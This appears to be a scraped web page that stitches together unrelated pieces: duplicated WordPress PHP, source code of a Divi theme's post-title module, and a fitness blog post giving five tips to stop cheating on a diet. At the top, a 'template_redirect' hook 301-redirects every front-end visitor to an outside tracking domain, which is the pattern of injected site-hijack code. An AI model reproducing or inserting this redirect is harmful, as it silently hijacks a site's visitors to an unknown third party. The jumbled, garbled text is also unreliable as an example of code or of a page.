function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect');function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); class ET_Builder_Module_Fullwidth_Post_Title extends ET_Builder_Module { function init() { $this->name = esc_html__( 'Fullwidth Post Title', 'et_builder' ); $this->plural = esc_html__( 'Fullwidth Post Titles', 'et_builder' ); $this->slug = 'et_pb_fullwidth_post_title'; $this->vb_support = 'on'; $this->fullwidth = true; $this->defaults = array(); $this->featured_image_background = true; $this->main_css_element = '%%order_class%%'; $this->settings_modal_toggles = array( 'general' => array( 'toggles' => array( 'elements' => et_builder_i18n( 'Elements' ), ), ), 'advanced' => array( 'toggles' => array( 'text' => array( 'title' => et_builder_i18n( 'Text' ), 'priority' => 49, ), 'image_settings' => et_builder_i18n( 'Image' ), ), ), ); $this->advanced_fields = array( 'borders' => array( 'default' => array( 'css' => array( 'main' => array( 'border_radii' => "{$this->main_css_element}.et_pb_featured_bg, {$this->main_css_element}", 'border_styles' => "{$this->main_css_element}.et_pb_featured_bg, {$this->main_css_element}", ), ), ), ), 'margin_padding' => array( 'css' => array( 'main' => ".et_pb_fullwidth_section {$this->main_css_element}.et_pb_post_title", 'important' => 'all', ), ), 'fonts' => array( 'title' => array( 'label' => et_builder_i18n( 'Title' ), 'use_all_caps' => true, 'css' => array( 'main' => "{$this->main_css_element} .et_pb_title_container h1.entry-title, {$this->main_css_element} .et_pb_title_container h2.entry-title, {$this->main_css_element} .et_pb_title_container h3.entry-title, {$this->main_css_element} .et_pb_title_container h4.entry-title, {$this->main_css_element} .et_pb_title_container h5.entry-title, {$this->main_css_element} .et_pb_title_container h6.entry-title", ), 'header_level' => array( 'default' => 'h1', ), ), 'meta' => array( 'label' => esc_html__( 'Meta', 'et_builder' ), 'css' => array( 'main' => "{$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container a", 'limited_main' => "{$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container a, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container span", ), ), ), 'background' => array( 'css' => array( 'main' => "{$this->main_css_element}, {$this->main_css_element}.et_pb_featured_bg", ), ), 'max_width' => array( 'css' => array( 'module_alignment' => '.et_pb_fullwidth_section %%order_class%%.et_pb_post_title.et_pb_module', ), ), 'text' => array( 'options' => array( 'text_orientation' => array( 'default' => 'left', ), ), 'css' => array( 'main' => implode(', ', array( '%%order_class%% .entry-title', '%%order_class%% .et_pb_title_meta_container', )) ) ), 'button' => false, ); $this->custom_css_fields = array( 'post_title' => array( 'label' => et_builder_i18n( 'Title' ), 'selector' => 'h1', ), 'post_meta' => array( 'label' => esc_html__( 'Meta', 'et_builder' ), 'selector' => '.et_pb_title_meta_container', ), 'post_image' => array( 'label' => esc_html__( 'Featured Image', 'et_builder' ), 'selector' => '.et_pb_title_featured_container', ), ); $this->help_videos = array( array( 'id' => 'wb8c06U0uCU', 'name' => esc_html__( 'An introduction to the Fullwidth Post Title module', 'et_builder' ), ), ); } function get_fields() { $fields = array( 'title' => array( 'label' => esc_html__( 'Show Title', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Post Title', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'meta' => array( 'label' => esc_html__( 'Show Meta', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'affects' => array( 'author', 'date', 'comments', ), 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Post Meta', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'author' => array( 'label' => esc_html__( 'Show Author', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'depends_show_if' => 'on', 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Author Name in Post Meta', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'date' => array( 'label' => esc_html__( 'Show Date', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'depends_show_if' => 'on', 'affects' => array( 'date_format', ), 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Date in Post Meta', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'date_format' => array( 'label' => esc_html__( 'Date Format', 'et_builder' ), 'type' => 'text', 'option_category' => 'configuration', 'default_on_front' => 'M j, Y', 'depends_show_if' => 'on', 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can define the Date Format in Post Meta. Default is \'M j, Y\'', 'et_builder' ), ), 'categories' => array( 'label' => esc_html__( 'Show Post Categories', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'show_if' => array( 'meta' => 'on', 'function.isPostOrTBLayout' => 'on', ), 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Categories in Post Meta. Note: This option doesn\'t work with custom post types.', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'comments' => array( 'label' => esc_html__( 'Show Comments Count', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'depends_show_if' => 'on', 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Comments Count in Post Meta.', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'featured_image' => array( 'label' => esc_html__( 'Show Featured Image', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'affects' => array( 'featured_placement', ), 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Featured Image', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'featured_placement' => array( 'label' => esc_html__( 'Featured Image Placement', 'et_builder' ), 'type' => 'select', 'option_category' => 'layout', 'options' => array( 'below' => esc_html__( 'Below Title', 'et_builder' ), 'above' => esc_html__( 'Above Title', 'et_builder' ), 'background' => esc_html__( 'Title/Meta Background Image', 'et_builder' ), ), 'default_on_front' => 'below', 'depends_show_if' => 'on', 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose where to place the Featured Image', 'et_builder' ), ), 'force_fullwidth' => array( 'label' => esc_html__( 'Force Fullwidth', 'et_builder' ), 'description' => esc_html__( "When enabled, this will force your image to extend 100% of the width of the column it's in.", 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'layout', 'options' => array( 'off' => et_builder_i18n( 'No' ), 'on' => et_builder_i18n( 'Yes' ), ), 'default' => 'on', 'tab_slug' => 'advanced', 'toggle_slug' => 'width', 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ) ), ), 'image_width' => array( 'label' => esc_html__( 'Featured Image Width', 'et_builder' ), 'description' => esc_html__( 'Adjust the width of the featured image.', 'et_builder' ), 'type' => 'range', 'option_category' => 'layout', 'tab_slug' => 'advanced', 'toggle_slug' => 'width', 'allowed_values' => et_builder_get_acceptable_css_string_values( 'width' ), 'default' => '100%', 'default_unit' => '%', 'range_settings' => array( 'min' => '0', 'max' => '100', 'step' => '1', ), 'responsive' => true, 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ), 'force_fullwidth' => 'off', ), ), 'image_max_width' => array( 'label' => esc_html__( 'Featured Image Max Width', 'et_builder' ), 'description' => esc_html__( 'Adjust the max width of the featured image.', 'et_builder' ), 'type' => 'range', 'option_category' => 'layout', 'tab_slug' => 'advanced', 'toggle_slug' => 'width', 'allowed_values' => et_builder_get_acceptable_css_string_values( 'max-width' ), 'default' => 'none', 'default_unit' => '%', 'range_settings' => array( 'min' => '0', 'max' => '100', 'step' => '1', ), 'responsive' => true, 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ), 'force_fullwidth' => 'off', ), ), 'image_height' => array( 'label' => esc_html__( 'Featured Image Height', 'et_builder' ), 'description' => esc_html__( 'Adjust the height of the featured image.', 'et_builder' ), 'type' => 'range', 'option_category' => 'layout', 'tab_slug' => 'advanced', 'toggle_slug' => 'width', 'allowed_values' => et_builder_get_acceptable_css_string_values( 'height' ), 'default' => 'auto', 'default_unit' => 'px', 'range_settings' => array( 'min' => '0', 'max' => '1000', 'step' => '1', ), 'responsive' => true, 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ) ), ), 'image_max_height' => array( 'label' => esc_html__( 'Featured Image Max Height', 'et_builder' ), 'description' => esc_html__( 'Adjust the max height of the featured image.', 'et_builder' ), 'type' => 'range', 'option_category' => 'layout', 'tab_slug' => 'advanced', 'toggle_slug' => 'width', 'allowed_values' => et_builder_get_acceptable_css_string_values( 'max-height' ), 'default' => 'none', 'default_unit' => 'px', 'range_settings' => array( 'min' => '0', 'max' => '1000', 'step' => '1', ), 'responsive' => true, 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ) ), ), 'image_alignment' => array( 'label' => esc_html__( 'Image Alignment', 'et_builder' ), 'description' => esc_html__( 'Align image to the left, right or center.', 'et_builder' ), 'type' => 'align', 'option_category' => 'layout', 'options' => et_builder_get_text_orientation_options( array( 'justified' ) ), 'tab_slug' => 'advanced', 'toggle_slug' => 'image_settings', 'default' => 'center', 'responsive' => true, 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ), 'force_fullwidth' => 'off', ), ), 'text_color' => array( 'label' => esc_html__( 'Text Color', 'et_builder' ), 'type' => 'select', 'option_category' => 'color_option', 'options' => array( 'dark' => et_builder_i18n( 'Dark' ), 'light' => et_builder_i18n( 'Light' ), ), 'default_on_front' => 'dark', 'tab_slug' => 'advanced', 'toggle_slug' => 'text', 'hover' => 'tabs', 'description' => esc_html__( 'Here you can choose the color for the Title/Meta text', 'et_builder' ), ), 'text_background' => array( 'label' => esc_html__( 'Use Text Background Color', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'color_option', 'options' => array( 'off' => et_builder_i18n( 'No' ), 'on' => et_builder_i18n( 'Yes' ), ), 'default_on_front' => 'off', 'affects' => array( 'text_bg_color', ), 'tab_slug' => 'advanced', 'toggle_slug' => 'text', 'description' => esc_html__( 'Here you can choose whether or not use the background color for the Title/Meta text', 'et_builder' ), ), 'text_bg_color' => array( 'default' => 'rgba(255,255,255,0.9)', 'label' => esc_html__( 'Text Background Color', 'et_builder' ), 'description' => esc_html__( "Pick a color to use behind the post title text. Reducing the color's opacity will allow the background image to show through while still increasing text readability.", 'et_builder' ), 'type' => 'color-alpha', 'depends_show_if' => 'on', 'tab_slug' => 'advanced', 'toggle_slug' => 'text', 'hover' => 'tabs', 'mobile_options' => true, ), ); return $fields; } public function get_transition_fields_css_props() { $fields = parent::get_transition_fields_css_props(); $fields['text_color'] = array( 'color' => implode(', ', array( '%%order_class%% .entry-title', '%%order_class%% .et_pb_title_meta_container', )) ); $fields['text_bg_color'] = array( 'background-color' => '%%order_class%% .et_pb_title_container' ); return $fields; } function render( $attrs, $content = null, $render_slug ) { $multi_view = et_pb_multi_view_options( $this ); $date_format = $this->props['date_format']; $featured_image = $this->props['featured_image']; $featured_placement = $this->props['featured_placement']; $text_color = $this->props['text_color']; $text_color_hover = et_pb_hover_options()->get_value( 'text_color', $this->props ); $text_background = $this->props['text_background']; $header_level = $this->props['title_level']; $text_bg_colors = et_pb_responsive_options()->get_property_values( $this->props, 'text_bg_color' ); $post_id = get_the_ID(); // display the shortcode only on singlular pages if ( ! is_singular() ) { $post_id = 0; } $output = ''; $featured_image_output = ''; $parallax_image_background = $this->get_parallax_image_background(); if ( $post_id && $multi_view->has_value( 'featured_image', 'on' ) && ( 'above' === $featured_placement || 'below' === $featured_placement ) ) { // Largest featured image size is needed when featured image is used in "post" post type and full width layout $featured_image_size = 'post' === get_post_type() && 'et_full_width_page' === get_post_meta( get_the_ID(), '_et_pb_page_layout', true ) ? 'et-pb-post-main-image-fullwidth-large' : 'large'; $post_thumbnail_id = get_post_thumbnail_id( $post_id ); $featured_image_src = et_()->array_get( wp_get_attachment_image_src( $post_thumbnail_id, $featured_image_size ), 0 ); $featured_image_content = $multi_view->render_element( array( 'tag' => 'img', 'attrs' => array( 'src' => $featured_image_src, ) ) ); $featured_image_output = $multi_view->render_element( array( 'tag' => 'div', 'content' => sprintf( '
%1$s
', $featured_image_content ), 'attrs' => array( 'class' => 'et_pb_title_featured_container', ), 'visibility' => array( 'featured_image' => 'on', ), 'required' => array( 'featured_image' => 'on', ), ) ); $image_height = et_pb_responsive_options()->get_property_values( $this->props, 'image_height', 'auto' ); $image_max_height = et_pb_responsive_options()->get_property_values( $this->props, 'image_max_height', 'none' ); et_pb_responsive_options()->generate_responsive_css( $image_height, '%%order_class%% .et_pb_title_featured_container img', 'height', $render_slug ); et_pb_responsive_options()->generate_responsive_css( $image_max_height, '%%order_class%% .et_pb_title_featured_container img', 'max-height', $render_slug ); if ( 'off' === $this->props['force_fullwidth'] ) { $image_width = et_pb_responsive_options()->get_property_values( $this->props, 'image_width', '100%' ); $image_max_width = et_pb_responsive_options()->get_property_values( $this->props, 'image_max_width', 'none' ); et_pb_responsive_options()->generate_responsive_css( $image_width, '%%order_class%% .et_pb_title_featured_image', 'width', $render_slug ); et_pb_responsive_options()->generate_responsive_css( $image_max_width, '%%order_class%% .et_pb_title_featured_image', 'max-width', $render_slug ); // Image alignment style $image_alignment_values = et_pb_responsive_options()->get_property_values( $this->props, 'image_alignment', 'none' ); et_pb_responsive_options()->generate_responsive_css( $image_alignment_values, '%%order_class%% .et_pb_title_featured_image', 'text-align', $render_slug, '', 'align' ); $image_alignments = array( 'left' => 'auto auto auto 0', 'center' => 'auto', 'right' => 'auto 0 auto auto', ); foreach ( $image_alignment_values as $breakpoint => $alignment ) { $image_alignment_values[ $breakpoint ] = et_()->array_get( $image_alignments, $alignment, '' ); } et_pb_responsive_options()->generate_responsive_css( $image_alignment_values, '%%order_class%% .et_pb_title_featured_image', 'margin', $render_slug, '', 'align' ); ET_Builder_Element::set_style( $render_slug, array( 'selector' => '%%order_class%% .et_pb_image_wrap', 'declaration' => 'width: auto;', ) ); } } if ( $multi_view->has_value( 'title', 'on' ) ) { if ( is_et_pb_preview() && isset( $_POST['post_title'] ) && wp_verify_nonce( $_POST['et_pb_preview_nonce'], 'et_pb_preview_nonce' ) ) { $post_title = esc_html( sanitize_text_field( wp_unslash( $_POST['post_title'] ) ) ); } else { // Unescaped for backwards compat reasons. $post_title = et_core_intentionally_unescaped( et_builder_get_current_title(), 'html' ); } $output .= $multi_view->render_element( array( 'tag' => et_pb_process_header_level( $header_level, 'h1' ), 'content' => $post_title, 'attrs' => array( 'class' => 'entry-title', ), 'visibility' => array( 'title' => 'on', ) ) ); } if ( $post_id && $multi_view->has_value( 'meta', 'on' ) ) { $meta_array = array(); foreach( array( 'author', 'date', 'categories', 'comments' ) as $single_meta ) { if ( 'categories' === $single_meta && ! is_singular( 'post' ) ) { continue; } $meta_array[] = $multi_view->render_element( array( 'content' => et_pb_postinfo_meta( array( $single_meta ), $date_format, esc_html__( '0 comments', 'et_builder' ), esc_html__( '1 comment', 'et_builder' ), '% ' . esc_html__( 'comments', 'et_builder' ) ), 'classes' => array( 'et_pb_title_meta_item--visible' => array( $single_meta => 'on', 'meta' => 'on', ), ), 'visibility' => array( $single_meta => 'on', 'meta' => 'on', ), 'required' => array( $single_meta => 'on', 'meta' => 'on', ), ) ); } $output .= $multi_view->render_element( array( 'tag' => 'p', 'content' => implode( '', $meta_array ), 'attrs' => array( 'class' => 'et_pb_title_meta_container', ), 'visibility' => array( 'meta' => 'on', ), ) ); } if ( 'on' === $text_background ) { // Text Background Color. et_pb_responsive_options()->generate_responsive_css( $text_bg_colors, '%%order_class%% .et_pb_title_container', 'background-color', $render_slug, '; padding: 1em 1.5em;', 'color' ); if ( et_pb_hover_options()->is_enabled( 'text_bg_color', $this->props ) ) { ET_Builder_Element::set_style( $render_slug, array( 'selector' => '%%order_class%%:hover .et_pb_title_container', 'declaration' => sprintf( 'background-color: %1$s; padding: 1em 1.5em;', esc_html( et_pb_hover_options()->get_value( 'text_bg_color', $this->props ) ) ), ) ); } } $video_background = $this->video_background(); $background_layout = 'dark' === $text_color ? 'light' : 'dark'; $data_background_layout = ''; $data_background_layout_hover = ''; if ( et_pb_hover_options()->is_enabled( 'text_color', $this->props ) && !empty( $text_color_hover ) && $text_color !== $text_color_hover ) { $data_background_layout = sprintf( ' data-background-layout="%1$s"', esc_attr( $text_color_hover ) ); $data_background_layout_hover = sprintf( ' data-background-layout-hover="%1$s"', esc_attr( $text_color ) ); } // Module classnames $this->add_classname( array( 'et_pb_post_title', $this->get_text_orientation_classname(), "et_pb_bg_layout_{$background_layout}", ) ); if ( 'on' === $multi_view->get_value( 'featured_image' ) && 'background' === $featured_placement ) { $this->add_classname( 'et_pb_featured_bg' ); } if ( 'above' === $featured_placement ) { $this->add_classname( 'et_pb_image_above' ); } if ( 'below' === $featured_placement ) { $this->add_classname( 'et_pb_image_below' ); } // Remove automatically added classnames $this->remove_classname( array( 'et_pb_fullwidth_post_title', ) ); $muti_view_data_attr = $multi_view->render_attrs( array( 'classes' => array( 'et_pb_featured_bg' => array( 'featured_image' => 'on', 'featured_placement' => 'background', ), ), ) ); $output = sprintf( ' %4$s %7$s %5$s
%1$s
%6$s', $output, $this->module_classname( $render_slug ), $this->module_id(), $parallax_image_background, 'on' === $featured_image && 'above' === $featured_placement ? $featured_image_output : '', // #5 'on' === $featured_image && 'below' === $featured_placement ? $featured_image_output : '', $video_background, $data_background_layout, $data_background_layout_hover, et_core_esc_previously( $muti_view_data_attr ) // #10 ); return $output; } } new ET_Builder_Module_Fullwidth_Post_Title; A2Z Personal Training: 9 Tips to Stop Cheating on Your Diet (part 2)

9 Tips to Stop Cheating on Your Diet (part 2)

Nutrition

diet cheatingHey there,

I hope you enjoyed yesterday’s articlewith your first 4 tips to stop cheating on your diet. Now here’s the final 5.

1) Social Support

Once again, another very important aspect of your weight loss so here it is again, from the office point of view.

There can be many surprises when it comes to the office – work lunches, birthdays, Christmas parties… the list goes on really. Most of the time you just feel ‘pressured’ into eating more than you should or something you don’t want because it’s not part of your plan – so you plan around it.

Remember your planning sessions? Well you would have a plan in place for these events, so find your accountability partner, make sure you have your ‘rules’ in place and you’ll be fine.

If you have kids at home and your buying them treats – lollies, chips, biscuits etc this can certainly work against you if you’re not able to control yourself at certain times. You want your family to be supporting you so you can hopefully not buy those treats for the kids and get them on the healthy food too.J Win win.

Insider tip: spend your meal times with your accountability partner so your not pressured into going for seconds.

2) Work out your reason why

Ok your on a personalized meal plan for yourself because you want to lose weight, yet you find yourself cheating on that plan over and over again then not seeing the results. Why is that? The usual excuses – it was a birthday party/function, whatever it was doesn’t apply because you can control yourself in these situations as shown above so chances are it’s just force of habit.

To rid yourself of this habit try one little trick. Every time you find yourself walking towards the fridge, change direction and grab a glass of water. Simple yet effective, you’re re-wiring your brain to tell you every time your hungry/bored/whatever it is that’s going on at that moment for you; you need a glass of water instead of food.

3) Portion control domination

We all know about overeating, but how can we stop it?

–   Once dinner is cooked serve it out then put it away, you’re less likely to go for seconds if it’s packed away already.

–   If you’re ever at a fast food restaurant just say no to the upsize! We often find it hard to say no, so start practicing – your waist will thank you for it.

–  Only pack the food you need for the day, not what you want for the day.

–  Get rid of the big dinner plates – the small the plate the smaller the portion

4) Stop kicking yourself

If you’re telling yourself over and over that you can’t stick to the diet well of course you can’t stick to it. There needs to be positive self talk going on inside.

–          I can do this

–          I am doing this

–          Nothing is going to stop me

Etc. Write out some positive lines such as above to help you during those times of uncertainty which will stop you in your tracks when you would usually kick yourself and instead keep you moving forward towards your goal.

5) Have fun

Going on a ‘diet’ isn’t a very fun way to look at it. What you’re doing is having planned structured meals. This can be a very educational time for both yourself and family/friends so make it fun.

–          Include friends and family where possible so you can spend time together while looking after your health

–          Look for some great recipes so you have variety in your meals so your not bored – keep them new and exciting

–          If the exercise is getting boring try something new like a weekend hike or a bike ride.

Anything outside of your daily routine to spice it up is a good thing so see if you can come up with 4-5 ways to change your daily habits to make it more interesting.

There you have it, 9 ways to keep yourself on track with your diet.

Of course, this will not just happen overnight, these tips are things you need to work on every day.

 

Persist and you will achieve.

Andrew Zagami